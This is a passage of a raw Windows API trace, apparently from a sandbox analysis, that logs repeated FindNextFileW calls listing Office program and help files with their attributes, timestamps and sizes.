lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3ddaa100, ftCreationTime.dwHighDateTime=0x1c561aa, ftLastAccessTime.dwLowDateTime=0x1ba74a30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3ddaa100, ftLastWriteTime.dwHighDateTime=0x1c561aa, nFileSizeHigh=0x0, nFileSizeLow=0x71, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSPUB.DEV_K_COL.HXK", cAlternateFileName="")) returned 1 [0069.606] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9271b400, ftCreationTime.dwHighDateTime=0x1ca8073, ftLastAccessTime.dwLowDateTime=0x1ba9ab90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9271b400, ftLastWriteTime.dwHighDateTime=0x1ca8073, nFileSizeHigh=0x0, nFileSizeLow=0x1cc936, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSPUB.HXS", cAlternateFileName="")) returned 1 [0069.606] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8fe30400, ftCreationTime.dwHighDateTime=0x1c2a1b4, ftLastAccessTime.dwLowDateTime=0x1ba9ab90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8fe30400, ftLastWriteTime.dwHighDateTime=0x1c2a1b4, nFileSizeHigh=0x0, nFileSizeLow=0x2ef8, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSPUB.OPG", cAlternateFileName="")) returned 1 [0069.606] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1c67200, ftCreationTime.dwHighDateTime=0x1c9ff32, ftLastAccessTime.dwLowDateTime=0x1ba9ab90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1c67200, ftLastWriteTime.dwHighDateTime=0x1c9ff32, nFileSizeHigh=0x0, nFileSizeLow=0x26d, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSPUB_COL.HXC", cAlternateFileName="")) returned 1 [0069.606] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b784700, ftCreationTime.dwHighDateTime=0x1c561aa, ftLastAccessTime.dwLowDateTime=0x1ba9ab90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3b784700, ftLastWriteTime.dwHighDateTime=0x1c561aa, nFileSizeHigh=0x0, nFileSizeLow=0xcd, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSPUB_COL.HXT", cAlternateFileName="")) returned 1 [0069.606] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b784700, ftCreationTime.dwHighDateTime=0x1c561aa, ftLastAccessTime.dwLowDateTime=0x1ba9ab90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3b784700, ftLastWriteTime.dwHighDateTime=0x1c561aa, nFileSizeHigh=0x0, nFileSizeLow=0x72, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSPUB_F_COL.HXK", cAlternateFileName="")) returned 1 [0069.606] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b784700, ftCreationTime.dwHighDateTime=0x1c561aa, ftLastAccessTime.dwLowDateTime=0x1ba9ab90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3b784700, ftLastWriteTime.dwHighDateTime=0x1c561aa, nFileSizeHigh=0x0, nFileSizeLow=0x71, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSPUB_K_COL.HXK", cAlternateFileName="")) returned 1 [0069.606] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd8527700, ftCreationTime.dwHighDateTime=0x1c33a9f, ftLastAccessTime.dwLowDateTime=0xeeedb470, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xd8527700, ftLastWriteTime.dwHighDateTime=0x1c33a9f, nFileSizeHigh=0x0, nFileSizeLow=0x7d682, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSQRY32.CHM", cAlternateFileName="")) returned 1 [0069.606] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8c44700, ftCreationTime.dwHighDateTime=0x1cab7c8, ftLastAccessTime.dwLowDateTime=0xeeedb470, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe8c44700, ftLastWriteTime.dwHighDateTime=0x1cab7c8, nFileSizeHigh=0x0, nFileSizeLow=0x15d58, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSTINTL.DLL", cAlternateFileName="")) returned 1 [0069.606] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x88e84c00, ftCreationTime.dwHighDateTime=0x1ca8073, ftLastAccessTime.dwLowDateTime=0xeeedb470, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x88e84c00, ftLastWriteTime.dwHighDateTime=0x1ca8073, nFileSizeHigh=0x0, nFileSizeLow=0x5f254, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSTORE.HXS", cAlternateFileName="")) returned 1 [0069.606] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf2472900, ftCreationTime.dwHighDateTime=0x1c9ff31, ftLastAccessTime.dwLowDateTime=0xeef015d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf2472900, ftLastWriteTime.dwHighDateTime=0x1c9ff31, nFileSizeHigh=0x0, nFileSizeLow=0x272, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSTORE_COL.HXC", cAlternateFileName="")) returned 1 [0069.606] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x416e2800, ftCreationTime.dwHighDateTime=0x1c561aa, ftLastAccessTime.dwLowDateTime=0xeef015d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x416e2800, ftLastWriteTime.dwHighDateTime=0x1c561aa, nFileSizeHigh=0x0, nFileSizeLow=0xce, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSTORE_COL.HXT", cAlternateFileName="")) returned 1 [0069.606] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x416e2800, ftCreationTime.dwHighDateTime=0x1c561aa, ftLastAccessTime.dwLowDateTime=0xeef015d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x416e2800, ftLastWriteTime.dwHighDateTime=0x1c561aa, nFileSizeHigh=0x0, nFileSizeLow=0x72, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSTORE_F_COL.HXK", cAlternateFileName="")) returned 1 [0069.606] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x416e2800, ftCreationTime.dwHighDateTime=0x1c561aa, ftLastAccessTime.dwLowDateTime=0xeef015d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x416e2800, ftLastWriteTime.dwHighDateTime=0x1c561aa, nFileSizeHigh=0x0, nFileSizeLow=0x71, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSTORE_K_COL.HXK", cAlternateFileName="")) returned 1 [0069.607] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe3a6b500, ftCreationTime.dwHighDateTime=0x1c9c49e, ftLastAccessTime.dwLowDateTime=0x50acdda0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xe3a6b500, ftLastWriteTime.dwHighDateTime=0x1c9c49e, nFileSizeHigh=0x0, nFileSizeLow=0xd7a, dwReserved0=0x0, dwReserved1=0x0, cFileName="NETWORK.CSS", cAlternateFileName="")) returned 1 [0069.607] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4126500, ftCreationTime.dwHighDateTime=0x1c55531, ftLastAccessTime.dwLowDateTime=0x50acdda0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x4126500, ftLastWriteTime.dwHighDateTime=0x1c55531, nFileSizeHigh=0x0, nFileSizeLow=0x734, dwReserved0=0x0, dwReserved1=0x0, cFileName="NETWORK1.VRD", cAlternateFileName="")) returned 1 [0069.607] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4126500, ftCreationTime.dwHighDateTime=0x1c55531, ftLastAccessTime.dwLowDateTime=0x50acdda0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x4126500, ftLastWriteTime.dwHighDateTime=0x1c55531, nFileSizeHigh=0x0, nFileSizeLow=0x866, dwReserved0=0x0, dwReserved1=0x0, cFileName="NETWORK2.VRD", cAlternateFileName="")) returned 1 [0069.607] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4126500, ftCreationTime.dwHighDateTime=0x1c55531, ftLastAccessTime.dwLowDateTime=0x50acdda0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x4126500, ftLastWriteTime.dwHighDateTime=0x1c55531, nFileSizeHigh=0x0, nFileSizeLow=0xcae, dwReserved0=0x0, dwReserved1=0x0, cFileName="NETWORK3.VRD", cAlternateFileName="")) returned 1 [0069.607] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeaeefd00, ftCreationTime.dwHighDateTime=0x1c2c076, ftLastAccessTime.dwLowDateTime=0x50acdda0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xeaeefd00, ftLastWriteTime.dwHighDateTime=0x1c2c076, nFileSizeHigh=0x0, nFileSizeLow=0x468, dwReserved0=0x0, dwReserved1=0x0, cFileName="OCCMPVRD.XML", cAlternateFileName="")) returned 1 [0069.607] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4b675400, ftCreationTime.dwHighDateTime=0x1c2c0e2, ftLastAccessTime.dwLowDateTime=0x50acdda0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x4b675400, ftLastWriteTime.dwHighDateTime=0x1c2c0e2, nFileSizeHigh=0x0, nFileSizeLow=0x42c, dwReserved0=0x0, dwReserved1=0x0, cFileName="OCMODVRD.XML", cAlternateFileName="")) returned 1 [0069.607] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xde567d00, ftCreationTime.dwHighDateTime=0x1cab7c9, ftLastAccessTime.dwLowDateTime=0xeef015d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xde567d00, ftLastWriteTime.dwHighDateTime=0x1cab7c9, nFileSizeHigh=0x0, nFileSizeLow=0x81380, dwReserved0=0x0, dwReserved1=0x0, cFileName="OFFOWCI.DLL", cAlternateFileName="")) returned 1 [0069.607] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8c7bd300, ftCreationTime.dwHighDateTime=0x1ca8073, ftLastAccessTime.dwLowDateTime=0xeef27730, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x8c7bd300, ftLastWriteTime.dwHighDateTime=0x1ca8073, nFileSizeHigh=0x0, nFileSizeLow=0x6fd04, dwReserved0=0x0, dwReserved1=0x0, cFileName="OIS.HXS", cAlternateFileName="")) returned 1 [0069.607] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcc74da00, ftCreationTime.dwHighDateTime=0x1cab7c9, ftLastAccessTime.dwLowDateTime=0xeef27730, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xcc74da00, ftLastWriteTime.dwHighDateTime=0x1cab7c9, nFileSizeHigh=0x0, nFileSizeLow=0x1f998, dwReserved0=0x0, dwReserved1=0x0, cFileName="OISINTL.DLL", cAlternateFileName="")) returned 1 [0069.607] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1c67200, ftCreationTime.dwHighDateTime=0x1c9ff32, ftLastAccessTime.dwLowDateTime=0xeef27730, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x1c67200, ftLastWriteTime.dwHighDateTime=0x1c9ff32, nFileSizeHigh=0x0, nFileSizeLow=0x263, dwReserved0=0x0, dwReserved1=0x0, cFileName="OIS_COL.HXC", cAlternateFileName="")) returned 1 [0069.607] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4501af00, ftCreationTime.dwHighDateTime=0x1c561aa, ftLastAccessTime.dwLowDateTime=0xeef27730, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x4501af00, ftLastWriteTime.dwHighDateTime=0x1c561aa, nFileSizeHigh=0x0, nFileSizeLow=0xcb, dwReserved0=0x0, dwReserved1=0x0, cFileName="OIS_COL.HXT", cAlternateFileName="")) returned 1 [0069.607] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4501af00, ftCreationTime.dwHighDateTime=0x1c561aa, ftLastAccessTime.dwLowDateTime=0xeef27730, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x4501af00, ftLastWriteTime.dwHighDateTime=0x1c561aa, nFileSizeHigh=0x0, nFileSizeLow=0x72, dwReserved0=0x0, dwReserved1=0x0, cFileName="OIS_F_COL.HXK", cAlternateFileName="")) returned 1 [0069.607] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4501af00, ftCreationTime.dwHighDateTime=0x1c561aa, ftLastAccessTime.dwLowDateTime=0xeef27730, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x4501af00, ftLastWriteTime.dwHighDateTime=0x1c561aa, nFileSizeHigh=0x0, nFileSizeLow=0x71, dwReserved0=0x0, dwReserved1=0x0, cFileName="OIS_K_COL.HXK", cAlternateFileName="")) returned 1 [0069.607] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8de21e00, ftCreationTime.dwHighDateTime=0x1cab7cf, ftLastAccessTime.dwLowDateTime=0x137e510, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8de21e00, ftLastWriteTime.dwHighDateTime=0x1cab7cf, nFileSizeHigh=0x0, nFileSizeLow=0x62180, dwReserved0=0x0, dwReserved1=0x0, cFileName="OMSINTL.DLL", cAlternateFileName="")) returned 1 [0069.607] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70618400, ftCreationTime.dwHighDateTime=0x1cab7d0, ftLastAccessTime.dwLowDateTime=0x137e510, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x70618400, ftLastWriteTime.dwHighDateTime=0x1cab7d0, nFileSizeHigh=0x0, nFileSizeLow=0x6180, dwReserved0=0x0, dwReserved1=0x0, cFileName="OMSINTL.DLL.IDX_DLL", cAlternateFileName="")) returned 1 [0069.607] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeb7e9d00, ftCreationTime.dwHighDateTime=0x1cacf2a, ftLastAccessTime.dwLowDateTime=0xc7ce790, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xeb7e9d00, ftLastWriteTime.dwHighDateTime=0x1cacf2a, nFileSizeHigh=0x0, nFileSizeLow=0xdf88, dwReserved0=0x0, dwReserved1=0x0, cFileName="ONELEV.EXE", cAlternateFileName="")) returned 1 [0069.607] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8c7bd300, ftCreationTime.dwHighDateTime=0x1ca8073, ftLastAccessTime.dwLowDateTime=0xc7ce790, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8c7bd300, ftLastWriteTime.dwHighDateTime=0x1ca8073, nFileSizeHigh=0x0, nFileSizeLow=0x1ab7d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ONENOTE.HXS", cAlternateFileName="")) returned 1 [0069.607] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xabfa4f00, ftCreationTime.dwHighDateTime=0x1cab7cc, ftLastAccessTime.dwLowDateTime=0xc81aa50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xabfa4f00, ftLastWriteTime.dwHighDateTime=0x1cab7cc, nFileSizeHigh=0x0, nFileSizeLow=0x25e8, dwReserved0=0x0, dwReserved1=0x0, cFileName="OneNoteSyncPCIntl.dll", cAlternateFileName="")) returned 1 [0069.607] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1c67200, ftCreationTime.dwHighDateTime=0x1c9ff32, ftLastAccessTime.dwLowDateTime=0xc7ce790, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1c67200, ftLastWriteTime.dwHighDateTime=0x1c9ff32, nFileSizeHigh=0x0, nFileSizeLow=0x277, dwReserved0=0x0, dwReserved1=0x0, cFileName="ONENOTE_COL.HXC", cAlternateFileName="")) returned 1 [0069.607] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x48953600, ftCreationTime.dwHighDateTime=0x1c561aa, ftLastAccessTime.dwLowDateTime=0xc7f48f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x48953600, ftLastWriteTime.dwHighDateTime=0x1c561aa, nFileSizeHigh=0x0, nFileSizeLow=0xcf, dwReserved0=0x0, dwReserved1=0x0, cFileName="ONENOTE_COL.HXT", cAlternateFileName="")) returned 1 [0069.607] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x48953600, ftCreationTime.dwHighDateTime=0x1c561aa, ftLastAccessTime.dwLowDateTime=0xc7f48f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x48953600, ftLastWriteTime.dwHighDateTime=0x1c561aa, nFileSizeHigh=0x0, nFileSizeLow=0x72, dwReserved0=0x0, dwReserved1=0x0, cFileName="ONENOTE_F_COL.HXK", cAlternateFileName="")) returned 1 [0069.607] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x48953600, ftCreationTime.dwHighDateTime=0x1c561aa, ftLastAccessTime.dwLowDateTime=0xc7f48f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x48953600, ftLastWriteTime.dwHighDateTime=0x1c561aa, nFileSizeHigh=0x0, nFileSizeLow=0x71, dwReserved0=0x0, dwReserved1=0x0, cFileName="ONENOTE_K_COL.HXK", cAlternateFileName="")) returned 1 [0069.607] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb96d3b00, ftCreationTime.dwHighDateTime=0x1cacf2a, ftLastAccessTime.dwLowDateTime=0xc7f48f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb96d3b00, ftLastWriteTime.dwHighDateTime=0x1cacf2a, nFileSizeHigh=0x0, nFileSizeLow=0x148d68, dwReserved0=0x0, dwReserved1=0x0, cFileName="ONGuide.onepkg", cAlternateFileName="")) returned 1 [0069.607] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeb7e9d00, ftCreationTime.dwHighDateTime=0x1cacf2a, ftLastAccessTime.dwLowDateTime=0xc81aa50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xeb7e9d00, ftLastWriteTime.dwHighDateTime=0x1cacf2a, nFileSizeHigh=0x0, nFileSizeLow=0x341f90, dwReserved0=0x0, dwReserved1=0x0, cFileName="ONINTL.DLL", cAlternateFileName="")) returned 1 [0069.607] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe3266200, ftCreationTime.dwHighDateTime=0x1cacf2a, ftLastAccessTime.dwLowDateTime=0xc7f48f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe3266200, ftLastWriteTime.dwHighDateTime=0x1cacf2a, nFileSizeHigh=0x0, nFileSizeLow=0x3b80, dwReserved0=0x0, dwReserved1=0x0, cFileName="ONINTL.DLL.IDX_DLL", cAlternateFileName="")) returned 1 [0069.607] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe3266200, ftCreationTime.dwHighDateTime=0x1cacf2a, ftLastAccessTime.dwLowDateTime=0xc81aa50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe3266200, ftLastWriteTime.dwHighDateTime=0x1cacf2a, nFileSizeHigh=0x0, nFileSizeLow=0x1bf80, dwReserved0=0x0, dwReserved1=0x0, cFileName="ONINTL.REST.IDX_DLL", cAlternateFileName="")) returned 1 [0069.607] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5439200, ftCreationTime.dwHighDateTime=0x1c55531, ftLastAccessTime.dwLowDateTime=0x50af3f00, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x5439200, ftLastWriteTime.dwHighDateTime=0x1c55531, nFileSizeHigh=0x0, nFileSizeLow=0x648, dwReserved0=0x0, dwReserved1=0x0, cFileName="ORGCH.VRD", cAlternateFileName="")) returned 1 [0069.607] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb117c800, ftCreationTime.dwHighDateTime=0x1cab7e5, ftLastAccessTime.dwLowDateTime=0x50b1a060, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xb117c800, ftLastWriteTime.dwHighDateTime=0x1cab7e5, nFileSizeHigh=0x0, nFileSizeLow=0xdfa0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ORGCHART.VSL", cAlternateFileName="")) returned 1 [0069.607] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5439200, ftCreationTime.dwHighDateTime=0x1c55531, ftLastAccessTime.dwLowDateTime=0x50b1a060, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x5439200, ftLastWriteTime.dwHighDateTime=0x1c55531, nFileSizeHigh=0x0, nFileSizeLow=0x44a, dwReserved0=0x0, dwReserved1=0x0, cFileName="ORGPOS.VRD", cAlternateFileName="")) returned 1 [0069.607] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb5dc7c00, ftCreationTime.dwHighDateTime=0x1cab7e5, ftLastAccessTime.dwLowDateTime=0x50b1a060, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xb5dc7c00, ftLastWriteTime.dwHighDateTime=0x1cab7e5, nFileSizeHigh=0x0, nFileSizeLow=0x105b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ORGWIZ.VSL", cAlternateFileName="")) returned 1 [0069.607] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4c57a100, ftCreationTime.dwHighDateTime=0x1cac466, ftLastAccessTime.dwLowDateTime=0xeef4d890, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x4c57a100, ftLastWriteTime.dwHighDateTime=0x1cac466, nFileSizeHigh=0x0, nFileSizeLow=0x4790, dwReserved0=0x0, dwReserved1=0x0, cFileName="ospintl.dll", cAlternateFileName="")) returned 1 [0069.607] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed8c4100, ftCreationTime.dwHighDateTime=0x1c67eda, ftLastAccessTime.dwLowDateTime=0x13a4670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xed8c4100, ftLastWriteTime.dwHighDateTime=0x1c67eda, nFileSizeHigh=0x0, nFileSizeLow=0x16e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="OUTFORM.DAT", cAlternateFileName="")) returned 1 [0069.607] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd2fc5400, ftCreationTime.dwHighDateTime=0x1ca0f51, ftLastAccessTime.dwLowDateTime=0x13a4670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd2fc5400, ftLastWriteTime.dwHighDateTime=0x1ca0f51, nFileSizeHigh=0x0, nFileSizeLow=0x970, dwReserved0=0x0, dwReserved1=0x0, cFileName="OUTLBAR.INF", cAlternateFileName="")) returned 1 [0069.607] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe7df9900, ftCreationTime.dwHighDateTime=0x1cac9b3, ftLastAccessTime.dwLowDateTime=0x13f0930, ftLastAccessTime.dwHighDateTime=0x1d301bf, 